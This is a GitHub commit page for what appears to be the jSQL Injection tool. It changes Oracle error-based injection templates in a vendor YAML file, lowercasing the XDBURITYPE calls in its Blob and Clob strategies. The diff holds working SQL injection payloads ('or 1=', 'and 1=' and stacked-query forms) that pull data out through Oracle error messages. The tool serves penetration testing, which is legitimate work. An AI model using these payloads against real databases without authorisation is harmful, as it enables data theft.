Skip to content

Commit

Permalink
Adapt calibrator to oracle Error strategy
Browse files Browse the repository at this point in the history
  • Loading branch information
ron190 committed Jan 25, 2025
1 parent 66c780b commit 0b04469
Showing 1 changed file with 8 additions and 6 deletions.
14 changes: 8 additions & 6 deletions model/src/main/resources/vendor/oracle.yml
Original file line number Diff line number Diff line change
Expand Up @@ -345,33 +345,35 @@ strategy:
capacity: 124
- name: Blob:or
# xdburitype incompatible with calibrator '#' => changed to 'a'
query: |
/* ORA-31001: Invalid resource handle or path name "<sqli>" [SQL State=99999, DB Errorcode=31001] */
or 1=utl_raw.cast_to_varchar2(XDBURITYPE((${window})).getblob())
or 1=utl_raw.cast_to_varchar2(xdburitype((${window})).getblob())
capacity: 512
- name: Blob:and
query: |
and 1=utl_raw.cast_to_varchar2(XDBURITYPE((${window})).getblob())
and 1=utl_raw.cast_to_varchar2(xdburitype((${window})).getblob())
capacity: 512
- name: Blob:stack
query: |
; select utl_raw.cast_to_varchar2(XDBURITYPE((${window})).getblob()) from dual
; select utl_raw.cast_to_varchar2(xdburitype((${window})).getblob()) from dual
capacity: 512
- name: Clob:or
# xdburitype incompatible with calibrator '#' => changed to 'a'
query: |
/* ORA-31001: Invalid resource handle or path name "<sqli>" [SQL State=99999, DB Errorcode=31001] */
or 1=dbms_lob.substr(XDBURITYPE((${window})).getclob(),0,0)
or 1=dbms_lob.substr(xdburitype((${window})).getclob(),0,0)
capacity: 512
- name: Clob:and
query: |
and 1=dbms_lob.substr(XDBURITYPE((${window})).getclob(),0,0)
and 1=dbms_lob.substr(xdburitype((${window})).getclob(),0,0)
capacity: 512
- name: Clob:stack
query: |
; select dbms_lob.substr(XDBURITYPE((${window})).getclob(),0,0) from dual
; select dbms_lob.substr(xdburitype((${window})).getclob(),0,0) from dual
capacity: 512

0 comments on commit 0b04469

Please sign in to comment.